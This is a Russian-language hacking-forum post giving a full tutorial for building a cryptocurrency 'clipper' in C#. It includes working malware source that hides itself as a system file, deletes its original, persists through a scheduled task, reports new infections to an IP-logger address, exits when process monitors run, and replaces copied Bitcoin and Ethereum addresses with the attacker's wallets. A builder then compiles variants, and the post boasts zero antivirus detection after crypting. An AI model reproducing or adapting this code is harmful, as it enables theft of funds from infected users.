• ВНИМАНИЕ! НОВЫЙ АДРЕС САЙТА

    РКН заблокировал текущий домен

    Актуальный адрес сайта всегда указан здесь - EGROUND-ZERKALO.COM

Чтиво Пишем биткойн клиппер на C#

wowpro

wowpro

Unlimited
Сообщения
14.443
Лайки
9.494
Пишем биткойн клиппер на C#

Скачать Пишем биткойн клиппер на C#


Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.

В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.

Билд
Алгоритм работы клиппера:

1. Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер;

2. Запускаем в отдельном потоке мониторинг процессов;

3. Мониторим буффер обмена.
Код можно писать прямо в блокноте, т. к. позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:

C#:
static void Monitor() {
 while (true) {
  try {
   foreach(Process item in Process.GetProcesses())
   if (item.ProcessName.ToLower() == "taskmgr" ||
    item.ProcessName.ToLower() == "processhacker" ||
    item.ProcessName.ToLower() == "procexp")
    Environment.Exit(0);

   Thread.Sleep(500);
  } catch {}

 }
}
Переходим к Main. Задаем путь к файлу:

C#:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он не установлен:

C#:
if (!File.Exists(path)) {
 File.Copy(Assembly.GetEntryAssembly().Location, path);

 // Самоудаление и добавление в планировщик заданий

 ProcessStartInfo proc = new ProcessStartInfo();
 proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
 proc.WindowStyle = ProcessWindowStyle.Hidden;
 proc.CreateNoWindow = true;
 proc.FileName = "cmd.exe";

 // Ставим аттрибуты Скрытый и Системный на файл

 File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

 // Стучим в IPLogger

 try {
  HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
  http.UserAgent = "New user!";
  http.GetResponse();
 } catch {}


 Process.Start(proc);
 Environment.Exit(0);

}
Запустим в новом потоке мониторинг процессов:

C#:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои:

C#:
while (true) {
 string idat_old = string.Empty;
 string idat = string.Empty;

 Thread.Sleep(500);

 try {
  if (Clipboard.ContainsText()) {
   idat = Clipboard.GetText();

   if (idat != idat_old) {
    // Ищем в clipboard адреса и если находим заменяем

    if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet1]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }
    if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet2]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    } else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[ethwallet]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }

    idat_old = idat;
   }
  }
 } catch {}

}
С клиппером закончили. Сохраняем код в .txt файл. Переходим к билдеру.

Билдер
Алгоритм работы билдера:

1. Получаем указанные в полях кошельки;

2. Заменяем их в исходнике клиппера;

3. Компилируем исходник.

Создаем проект Windows Forms. По-быстрому набросаем форму.

Скачать Пишем биткойн клиппер на C#


Переходим к коду. Добавим пару юзингов:

C#:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
В обработчике кнопки пишем:

C#:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);


var settings = new Dictionary < string,
 string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

 foreach(CompilerError err in Results.Errors)
 MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");
Добавляем в ресурсы билдера сурс клиппера и компилируем билдер.

Скачать Пишем биткойн клиппер на C#


Детект билда после крипта равен нулю!
 
Сверху Снизу